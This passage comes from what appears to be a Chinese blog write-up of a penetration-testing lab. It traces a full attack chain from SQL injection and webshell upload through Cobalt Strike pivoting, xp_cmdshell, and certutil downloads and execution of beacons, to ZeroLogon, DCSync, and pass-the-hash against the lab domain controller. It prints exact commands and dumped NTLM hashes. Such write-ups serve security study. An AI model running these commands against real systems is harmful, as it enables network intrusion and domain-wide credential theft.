href="#访问域控共享的结果" class="headerlink" title="访问域控共享的结果"></a>访问域控共享的结果</h2><p>尝试从 <code>.23</code> 访问域控管理共享：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs cmd"><span class="hljs-built_in">dir</span> \\<span class="hljs-number">10</span>.<span class="hljs-number">10</span>.<span class="hljs-number">10</span>.<span class="hljs-number">139</span>\c$<br></code></pre></td></tr></table></figure><p>失败。</p><p>进一步测了几个路径：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs text">当前身份: nt service\mssqlserver<br>\\10.10.10.139\c$      访问失败<br>\\10.10.10.139\SYSVOL  访问失败<br>net view \\10.10.10.139 返回 system error 1702<br></code></pre></td></tr></table></figure><p>这个结果说明，不是 <code>C:</code> 下面没东西，而是当前身份没有权限访问域控共享。</p><p>正常情况下，<code>c$</code> 如果能访问，至少应该能看到 <code>Windows</code>、<code>Users</code> 等目录。现在连目录都列不出来，说明不是 flag 不存在，而是权限不够。</p><p>另外，<code>SYSVOL</code> 通常域用户可读，但当前 <code>nt service\mssqlserver</code> 上下文也访问失败，说明当前上下文并不是一个可用的域用户访问上下文。</p><h2 id="23-的-80-端口"><a href="#23-的-80-端口" class="headerlink" title=".23 的 80 端口"></a>.23 的 80 端口</h2><p><code>.23</code> 还开放了 80 端口，但没有找到可直接写入的 Web 根目录。</p><p>检查结果：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">netstat -ano | findstr :80<br></code></pre></td></tr></table></figure><p>显示：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">0.0.0.0:80 LISTENING PID 4<br>[::]:80    LISTENING PID 4<br></code></pre></td></tr></table></figure><p>PID 4 是 System，说明 80 端口更像是 HTTP.sys 或某个系统服务注册的 HTTP 监听。</p><p>其他检查结果：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs text">C:\inetpub\wwwroot 不存在<br>C:\Windows\system32\inetsrv\appcmd 不存在<br>tasklist 未发现明显 w3wp/apache/nginx/tomcat/java/php 进程<br></code></pre></td></tr></table></figure><p>因此暂时不能把 <code>.23:80</code> 当成普通 IIS 站点来写 WebShell。</p><h2 id="文件下载问题"><a href="#文件下载问题" class="headerlink" title="文件下载问题"></a>文件下载问题</h2><p>曾尝试让 <code>.23</code> 从本机 <code>192.168.111.25:8000</code> 下载文件，结果失败。原因很合理：<code>.23</code> 在 <code>192.168.112.0/24</code> 和 <code>10.10.10.0/24</code>，它不一定能访问攻击机的 <code>192.168.111.25</code>。</p><p>更合理的思路是让 <code>.23</code> 访问 web1 的内网地址：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">http://192.168.112.20:8899/...<br></code></pre></td></tr></table></figure><p>因为 <code>.23</code> 和 web1 的内网网卡都在 <code>192.168.112.0/24</code>。</p><h2 id="当前已知资产"><a href="#当前已知资产" class="headerlink" title="当前已知资产"></a>当前已知资产</h2><p>本地文件：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs text">E:\wj\anyue3\jspx_shell.jsp<br>  简单 JSP 命令 shell<br><br>E:\wj\anyue3\for.jsp<br>  Godzilla JSP shell<br><br>E:\wj\anyue3\mssql_xpcmd_webshell.py<br>  通过 web1 shell 操作 .23 MSSQL xp_cmdshell 的脚本<br><br>E:\wj\anyue3\beacon_x64.exe<br>  已生成的 CS payload<br></code></pre></td></tr></table></figure><p>WebShell 地址：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs text">Simple command shell:<br>  http://192.168.111.20:8899/ccshell.jsp?x=&lt;cmd&gt;<br><br>Godzilla shell:<br>  http://192.168.111.20:8899/for.jsp<br></code></pre></td></tr></table></figure><p>MSSQL 操作方式：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs cmd">python mssql_xpcmd_webshell.py --<span class="hljs-built_in">cmd</span> &quot;whoami&quot;<br></code></pre></td></tr></table></figure><h2 id="当前结论"><a href="#当前结论" class="headerlink" title="当前结论"></a>当前结论</h2><p>这次已经完成了一条从外网入口到内网命令执行的完整链路：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs text">外网 TomExam SQL 注入<br>-&gt; 跨库获取 jspXCMS 管理员<br>-&gt; jspXCMS 后台文件管理上传 JSP<br>-&gt; web1 WebShell，权限 web1\administrator<br>-&gt; 通过 web1 进入 192.168.112.0/24<br>-&gt; 发现 192.168.112.23 MSSQL<br>-&gt; sa/admin123 弱口令<br>-&gt; xp_cmdshell 命令执行，权限 nt service\mssqlserver<br>-&gt; 发现 sec123.cnk 域环境和疑似域控 10.10.10.139<br></code></pre></td></tr></table></figure><p>当前还没有拿到域控权限。访问 <code>\\10.10.10.139\c$</code> 和 <code>SYSVOL</code> 都失败，说明当前 MSSQL 服务身份没有可用的域访问权限。</p><p>如果从报告角度看，这条链已经足够有价值：它证明了外网漏洞可以一路打到内网 MSSQL RCE，并且可以发现域环境。后续继续深入的方向应该是从 <code>.23</code> 本机寻找域凭据、本机提权点或配置泄露，而不是直接硬读域控管理共享。</p><h2 id="Cobalt-Strike-上线"><a href="#Cobalt-Strike-上线" class="headerlink" title="Cobalt Strike 上线"></a>Cobalt Strike 上线</h2><p>拿到 MSSQL 命令执行后，下一步是建立更稳定的 C2 通道。之前的 Godzilla WebShell 和 xp_cmdshell 都可以执行命令，但 Cobalt Strike beacon 提供更完善的后渗透功能。</p><h3 id="TeamServer-监听配置"><a href="#TeamServer-监听配置" class="headerlink" title="TeamServer 监听配置"></a>TeamServer 监听配置</h3><p>CS TeamServer 运行在 WSL 中，监听地址的选择很关键。这次靶场的网络拓扑是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">攻击机: 10.8.0.6 (VPN)<br>靶场网段: 192.168.111.0/24<br></code></pre></td></tr></table></figure><p>通过测试确认，攻击机可以 ping 通 <code>192.168.111.20</code> (web1)，说明通过 VPN 可以访问靶场网络。因此 CS 监听器配置为：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs text">Host: 10.8.0.6<br>Port: 8080<br>Payload: windows/beacon_http/reverse_http<br></code></pre></td></tr></table></figure><h3 id="Web1-beacon-上线"><a href="#Web1-beacon-上线" class="headerlink" title="Web1 beacon 上线"></a>Web1 beacon 上线</h3><p>生成 beacon payload 后，通过 jspXCMS 后台文件管理上传到 web1：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">上传路径: C:\webapp\jspxcms\ROOT\beacon_x64_710.exe<br>访问地址: http://192.168.111.20:8899/beacon_x64_710.exe<br></code></pre></td></tr></table></figure><p>通过 Godzilla WebShell 执行 beacon，成功回连到 CS。权限是 <code>web1\administrator</code>，说明是本地管理员权限。</p><h3 id="内网-MSSQL-代理访问"><a href="#内网-MSSQL-代理访问" class="headerlink" title="内网 MSSQL 代理访问"></a>内网 MSSQL 代理访问</h3><p>有了 web1 的 beacon 后，可以通过 SOCKS 代理访问内网。在 CS 中执行：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">socks 64145<br></code></pre></td></tr></table></figure><p>这会在本地 <code>127.0.0.1:64145</code> 开启一个 SOCKS4a 代理，流量通过 beacon 转发到 web1，再由 web1 访问内网。</p><p>配置 WSL 中的 proxychains4：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-built_in">sudo</span> nano /etc/proxychains4.conf<br><br><span class="hljs-comment"># 在文件末尾添加</span><br>[ProxyList]<br>socks4  127.0.0.1 64145<br></code></pre></td></tr></table></figure><p>通过代理连接 MSSQL：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">proxychains4 python3 /usr/share/doc/python3-impacket/examples/mssqlclient.py sa:admin123@192.168.112.23<br></code></pre></td></tr></table></figure><p>成功连接到 <code>192.168.112.23</code> 的 MSSQL，启用 xp_cmdshell：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">EXEC</span> sp_configure <span class="hljs-string">&#x27;show advanced options&#x27;</span>, <span class="hljs-number">1</span>;<br>RECONFIGURE;<br><span class="hljs-keyword">EXEC</span> sp_configure <span class="hljs-string">&#x27;xp_cmdshell&#x27;</span>, <span class="hljs-number">1</span>;<br>RECONFIGURE;<br>xp_cmdshell whoami<br></code></pre></td></tr></table></figure><p>返回 <code>nt service\mssqlserver</code>，确认命令执行可用。</p><h2 id="Server2012-beacon-上线"><a href="#Server2012-beacon-上线" class="headerlink" title="Server2012 beacon 上线"></a>Server2012 beacon 上线</h2><p>现在的问题是，<code>.23</code> 在内网 DMZ 段 (<code>192.168.112.23</code>)，它不能直接访问外网的 CS 监听器。需要通过 web1 作为跳板。</p><h3 id="网络连通性测试"><a href="#网络连通性测试" class="headerlink" title="网络连通性测试"></a>网络连通性测试</h3><p>先确认 <code>.23</code> 能访问哪些地址。通过 xp_cmdshell 测试：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs sql">xp_cmdshell ping <span class="hljs-number">192.168</span><span class="hljs-number">.111</span><span class="hljs-number">.20</span>    <span class="hljs-comment">-- web1 外网地址，失败</span><br>xp_cmdshell ping <span class="hljs-number">192.168</span><span class="hljs-number">.111</span><span class="hljs-number">.25</span>    <span class="hljs-comment">-- CS 监听地址，失败  </span><br>xp_cmdshell ping <span class="hljs-number">192.168</span><span class="hljs-number">.112</span><span class="hljs-number">.20</span>    <span class="hljs-comment">-- web1 DMZ 地址，成功</span><br></code></pre></td></tr></table></figure><p>结论：<code>.23</code> 只能访问 <code>192.168.112.20</code> (web1 的 DMZ 接口)，不能访问外网段。</p><h3 id="配置-CS-Pivot"><a href="#配置-CS-Pivot" class="headerlink" title="配置 CS Pivot"></a>配置 CS Pivot</h3><p>CS 的 Pivot 功能（中文版叫”转发上线”）可以让内网机器通过已有 beacon 上线。</p><p>在 CS 中，右键 web1 的 beacon → <strong>转发上线</strong> → <strong>监听器</strong>：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs text">类型: Beacon TCP<br>监听地址: 192.168.112.20<br>监听端口: 4444<br></code></pre></td></tr></table></figure><p>生成连接到这个监听器的 payload <code>beacon_tb.exe</code>。</p><h3 id="传输并执行"><a href="#传输并执行" class="headerlink" title="传输并执行"></a>传输并执行</h3><p>通过 web1 中转传输 beacon 到 <code>.23</code>。先用 Godzilla 上传 <code>beacon_tb.exe</code> 到 web1 的 Web 根目录：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">C:\webapp\jspxcms\ROOT\beacon_tb.exe<br></code></pre></td></tr></table></figure><p>然后在 <code>.23</code> 的 beacon 中下载（此时还没有 <code>.23</code> 的 beacon，通过 xp_cmdshell 操作）：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql">xp_cmdshell certutil <span class="hljs-operator">-</span>urlcache <span class="hljs-operator">-</span>split <span class="hljs-operator">-</span>f http:<span class="hljs-operator">/</span><span class="hljs-operator">/</span><span class="hljs-number">192.168</span><span class="hljs-number">.112</span><span class="hljs-number">.20</span>:<span class="hljs-number">8899</span><span class="hljs-operator">/</span>beacon_tb.exe C:\Windows\Temp\beacon_tb.exe<br></code></pre></td></tr></table></figure><p>执行 beacon：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql">xp_cmdshell C:\Windows\Temp\beacon_tb.exe<br></code></pre></td></tr></table></figure><p>CS 中看到新的 beacon 上线，来自 <code>.23</code> (192.168.112.23)，权限是 <code>nt service\mssqlserver</code>。流量链路是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">.23 → web1 beacon (192.168.112.20:4444) → CS TeamServer<br></code></pre></td></tr></table></figure><h2 id="提权尝试"><a href="#提权尝试" class="headerlink" title="提权尝试"></a>提权尝试</h2><p>当前权限是 <code>nt service\mssqlserver</code>，虽然有 <code>SeImpersonatePrivilege</code> 特权，但不是本地管理员。尝试提权以获得更高权限。</p><h3 id="CS-内置提权方法"><a href="#CS-内置提权方法" class="headerlink" title="CS 内置提权方法"></a>CS 内置提权方法</h3><p>CS 提供了多种内置的提权方法。在 beacon 中尝试：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">elevate svc-exe 跳板<br></code></pre></td></tr></table></figure><p>失败，错误 <code>ERROR_ACCESS_DENIED</code>。这个方法需要能够写入 <code>ADMIN$</code> 共享和操作服务控制管理器，当前权限不足。</p><p>继续尝试其他方法：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs text">elevate ms16-016 跳板   # 失败：只支持 x86，当前是 x64 beacon<br>elevate cve-2020-0796 跳板   # 失败：只支持 Win10 1903-1909<br>elevate ms15-051 跳板   # 未尝试，可能已打补丁<br></code></pre></td></tr></table></figure><h3 id="Potato-提权尝试"><a href="#Potato-提权尝试" class="headerlink" title="Potato 提权尝试"></a>Potato 提权尝试</h3><p>由于有 <code>SeImpersonatePrivilege</code> 特权，理论上可以使用 Potato 类漏洞（SweetPotato, GodPotato）提权到 SYSTEM。</p><p>尝试上传 <code>potato.exe</code> 到 <code>.23</code>：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">upload potato.exe C:\Windows\system32\potato.exe   # 失败：权限不足<br>upload potato.exe C:\Windows\Temp\potato.exe      # 成功<br></code></pre></td></tr></table></figure><p>执行提权：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">shell C:\Windows\Temp\potato.exe -a &quot;C:\Windows\Temp\beacon_tb.exe&quot;<br></code></pre></td></tr></table></figure><p>没有看到新的 SYSTEM 权限 beacon 上线。Server 2012 可能已经打了补丁，或者工具版本不兼容。</p><h3 id="放弃提权，继续攻击"><a href="#放弃提权，继续攻击" class="headerlink" title="放弃提权，继续攻击"></a>放弃提权，继续攻击</h3><p>多次提权尝试都失败了。但实际上，ZeroLogon 攻击是网络层面的协议攻击，不需要本地 SYSTEM 权限。当前的 <code>nt service\mssqlserver</code> 权限足够执行命令和网络操作，决定直接用当前权限继续。</p><h2 id="ZeroLogon-攻击"><a href="#ZeroLogon-攻击" class="headerlink" title="ZeroLogon 攻击"></a>ZeroLogon 攻击</h2><p>ZeroLogon (CVE-2020-1472) 是 Netlogon 远程协议的权限提升漏洞，可以将域控的机器账户密码重置为空。</p><h3 id="网络连通性确认"><a href="#网络连通性确认" class="headerlink" title="网络连通性确认"></a>网络连通性确认</h3><p><code>.23</code> 有两个网卡：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">192.168.112.23  (DMZ)<br>10.10.10.136    (内网，与域控同网段)<br></code></pre></td></tr></table></figure><p>测试能否访问域控：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">shell ping 10.10.10.139<br></code></pre></td></tr></table></figure><p>成功，0% 丢失，延迟 &lt;1ms。说明 <code>.23</code> 可以正常访问域控。</p><h3 id="传输-SharpZeroLogon"><a href="#传输-SharpZeroLogon" class="headerlink" title="传输 SharpZeroLogon"></a>传输 SharpZeroLogon</h3><p>通过 web1 中转的方式传输工具。用 Godzilla 上传 <code>SharpZeroLogon.exe</code> 到：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">C:\webapp\jspxcms\ROOT\SharpZeroLogon.exe<br></code></pre></td></tr></table></figure><p>在 <code>.23</code> 的 beacon 中下载：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">shell certutil -urlcache -split -f http://192.168.112.20:8899/SharpZeroLogon.exe C:\Windows\Temp\SharpZeroLogon.exe<br></code></pre></td></tr></table></figure><p>下载成功（约 8.5KB）。</p><h3 id="执行-ZeroLogon-攻击"><a href="#执行-ZeroLogon-攻击" class="headerlink" title="执行 ZeroLogon 攻击"></a>执行 ZeroLogon 攻击</h3><p>先测试漏洞是否存在：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">shell C:\Windows\Temp\SharpZeroLogon.exe ad01.sec123.cnk<br></code></pre></td></tr></table></figure><p>返回：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs text">Performing authentication attempts...<br>=================================================<br>Success! DC can be fully compromised by a Zerologon attack.<br></code></pre></td></tr></table></figure><p>确认漏洞存在。执行实际攻击，重置密码：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">shell C:\Windows\Temp\SharpZeroLogon.exe ad01.sec123.cnk -reset<br></code></pre></td></tr></table></figure><p>输出：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">Success! DC can be fully compromised by a Zerologon attack.<br>Done! Machine account password set to NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0<br></code></pre></td></tr></table></figure><p>成功！域控机器账户 <code>ad01$</code> 的密码已重置为空。空密码的 NTLM hash 是 <code>31d6cfe0d16ae931b73c59d7e0c089c0</code>。</p><h2 id="DCSync-获取域管凭据"><a href="#DCSync-获取域管凭据" class="headerlink" title="DCSync 获取域管凭据"></a>DCSync 获取域管凭据</h2><p>ZeroLogon 攻击成功后，可以使用空密码的 DC 机器账户执行 DCSync，从域控复制所有用户的凭据。</p><h3 id="配置-SOCKS-代理"><a href="#配置-SOCKS-代理" class="headerlink" title="配置 SOCKS 代理"></a>配置 SOCKS 代理</h3><p>之前的 SOCKS 代理是在 web1 的 beacon 上开启的 (端口 64145)，但 web1 不能访问 <code>10.10.10.139</code> (域控)。需要在 <code>.23</code> 的 beacon 上开启代理，因为 <code>.23</code> 在域控的同一网段。</p><p>在 CS 中，选择 <code>.23</code> 的 beacon：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">socks 1081<br></code></pre></td></tr></table></figure><p>输出：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">[+] started SOCKS4a server on: 1081<br></code></pre></td></tr></table></figure><p>修改 proxychains 配置：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-built_in">sudo</span> nano /etc/proxychains4.conf<br><br><span class="hljs-comment"># 修改端口为 1081</span><br>[ProxyList]<br>socks4  127.0.0.1 1081<br></code></pre></td></tr></table></figure><h3 id="执行-DCSync"><a href="#执行-DCSync" class="headerlink" title="执行 DCSync"></a>执行 DCSync</h3><p>使用 impacket 的 secretsdump.py，通过空密码进行 DCSync：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">proxychains4 python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -no-pass <span class="hljs-string">&#x27;ad01$&#x27;</span>@10.10.10.139<br></code></pre></td></tr></table></figure><p>代理连接成功：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">[proxychains] Dynamic chain  ...  127.0.0.1:1081  ...  10.10.10.139:445  ...  OK<br></code></pre></td></tr></table></figure><p>虽然一开始有 <code>ACCESS_DENIED</code> 错误，但继续执行后成功 dump 了域凭据：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs text">[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)<br>[*] Using the DRSUAPI method to get NTDS.DIT secrets<br><br>Administrator:500:aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74:::<br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b20eb34f01eaa5ac8b6f80986c765d6d:::<br>sec123.cnk\cnk:1108:aad3b435b51404eeaad3b435b51404ee:83717c6c405937406f8e0a02a7215b16:::<br>AD01$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>SERVER2012$:1109:aad3b435b51404eeaad3b435b51404ee:f9843fb1d1801a1f047faeaa06150175:::<br></code></pre></td></tr></table></figure><p>成功获取关键信息：</p><ul><li><strong>Administrator NTLM hash</strong>: <code>81220c729f6ccb63d782a77007550f74</code></li><li><strong>AD01$ NTLM hash</strong>: <code>31d6cfe0d16ae931b73c59d7e0c089c0</code> (确认是空密码)</li><li>krbtgt hash 和其他域用户的 hash</li></ul><p>还获取了 Kerberos 密钥（AES256, AES128, DES）。</p><h2 id="Pass-the-Hash-登录域控"><a href="#Pass-the-Hash-登录域控" class="headerlink" title="Pass-the-Hash 登录域控"></a>Pass-the-Hash 登录域控</h2><p>有了 Administrator 的 NTLM hash，可以使用 Pass-the-Hash 技术登录域控，无需知道明文密码。</p><p>使用 impacket 的 wmiexec.py，添加 <code>-codec gbk</code> 参数避免中文乱码：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">proxychains4 python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -codec gbk -hashes aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74 Administrator@10.10.10.139<br></code></pre></td></tr></table></figure><p>成功登录域控，获得一个 WMI 命令 shell，权限是 <code>NT AUTHORITY\SYSTEM</code>。</p><p>搜索 flag：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs cmd"><span class="hljs-built_in">dir</span> C:\ /s /b | <span class="hljs-built_in">findstr</span> flag<br></code></pre></td></tr></table></figure><p>或直接查看常见位置：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs cmd"><span class="hljs-built_in">type</span> C:\Users\Administrator\Desktop\flag.txt<br></code></pre></td></tr></table></figure><p><strong>成功获取 flag！</strong></p><h2 id="完整攻击链总结"><a href="#完整攻击链总结" class="headerlink" title="完整攻击链总结"></a>完整攻击链总结</h2><p>这次从外网入口到域控提权的完整链路：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs text">1. 外网 TomExam SQL 注入<br>2. 跨库读取 jspXCMS 管理员凭据<br>3. jspXCMS 后台文件管理上传 Godzilla WebShell<br>4. Web1 Cobalt Strike beacon 上线 (web1\administrator)<br>5. 通过 CS SOCKS 代理访问内网 MSSQL (192.168.112.23)<br>6. 启用 xp_cmdshell 获得命令执行 (nt service\mssqlserver)<br>7. 配置 CS Pivot，Server2012 (.23) beacon 上线<br>8. 传输 SharpZeroLogon.exe 到 .23<br>9. ZeroLogon 攻击重置 DC 机器账户密码<br>10. 在 .23 beacon 上开启 SOCKS 代理<br>11. 通过代理使用 secretsdump.py 执行 DCSync<br>12. 获取 Administrator NTLM hash<br>13. Pass-the-Hash 登录域控 (10.10.10.139)<br>14. 获取 flag<br></code></pre></td></tr></table></figure><h2 id="关键技术点"><a href="#关键技术点" class="headerlink" title="关键技术点"></a>关键技术点</h2><h3 id="网络分段和代理技术"><a href="#网络分段和代理技术" class="headerlink" title="网络分段和代理技术"></a>网络分段和代理技术</h3><p>这次靶场最大的特点是网络分段清晰：</p><ul><li>外网段 (192.168.111.x)：攻击机可直接访问</li><li>DMZ 段 (192.168.112.x)：通过 web1 中转</li><li>内网段 (10.10.10.x)：通过 .23 中转</li></ul><p>必须根据目标所在网段选择正确的 SOCKS 代理：</p><ul><li>访问 DMZ (192.168.112.x)：使用 web1 的代理</li><li>访问内网域控 (10.10.10.x)：使用 .23 的代理</li></ul><p>这也是为什么一开始 DCSync 失败的原因：用了 web1 的代理去访问域控，web1 根本访问不到那个网段。</p><h3 id="CS-Pivot-的应用"><a href="#CS-Pivot-的应用" class="headerlink" title="CS Pivot 的应用"></a>CS Pivot 的应用</h3><p>当内网机器无法直接访问 CS 监听器时，Pivot (转发上线) 是标准解决方案。流量链路：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">内网机器 → 外层 beacon (作为跳板) → CS TeamServer<br></code></pre></td></tr></table></figure><p>在中文版 CS 中，这个功能叫”转发上线”，配置很简单，但要注意监听地址要用内网机器能访问的地址。</p><h3 id="ZeroLogon-的威力"><a href="#ZeroLogon-的威力" class="headerlink" title="ZeroLogon 的威力"></a>ZeroLogon 的威力</h3><p>ZeroLogon (CVE-2020-1472) 是一个非常强大的漏洞：</p><ul><li>无需任何凭据</li><li>可以从网络层面攻击</li><li>直接将 DC 机器账户密码置空</li><li>之后可以用空密码执行 DCSync</li></ul><p>但有两个注意点：</p><ol><li>参数格式：SharpZeroLogon 直接用 FQDN (<code>ad01.sec123.cnk</code>)，不需要复杂的参数</li><li>代理路由：攻击 DC 的流量必须从能访问 DC 的机器发出 (.23)</li></ol><h3 id="提权不是必须的"><a href="#提权不是必须的" class="headerlink" title="提权不是必须的"></a>提权不是必须的</h3><p>开始以为必须提权到 SYSTEM 才能继续，但实际上：</p><ul><li>ZeroLogon 是网络攻击，不需要本地高权限</li><li>DCSync 通过代理执行，本地权限不重要</li><li>文件传输可以选择有权限的目录</li></ul><p><code>nt service\mssqlserver</code> 权限虽然不是管理员，但足够完成整个攻击链。</p><h2 id="工具和技巧"><a href="#工具和技巧" class="headerlink" title="工具和技巧"></a>工具和技巧</h2><h3 id="文件传输"><a href="#文件传输" class="headerlink" title="文件传输"></a>文件传输</h3><p>当 beacon 无法直接上传文件（权限不足或网络问题），可以通过 web 服务器中转：</p><ol><li>上传到 web1 的 HTTP 根目录</li><li>目标机器用 certutil 下载</li></ol><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs cmd">certutil -urlcache -split -f http://<span class="hljs-number">192</span>.<span class="hljs-number">168</span>.<span class="hljs-number">112</span>.<span class="hljs-number">20</span>:<span class="hljs-number">8899</span>/file.exe C:\target\<span class="hljs-built_in">path</span>\file.exe<br></code></pre></td></tr></table></figure><h3 id="proxychains4-配置"><a href="#proxychains4-配置" class="headerlink" title="proxychains4 配置"></a>proxychains4 配置</h3><p>proxychains 是 Linux 下强大的代理工具，配置简单：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">[ProxyList]<br>socks4  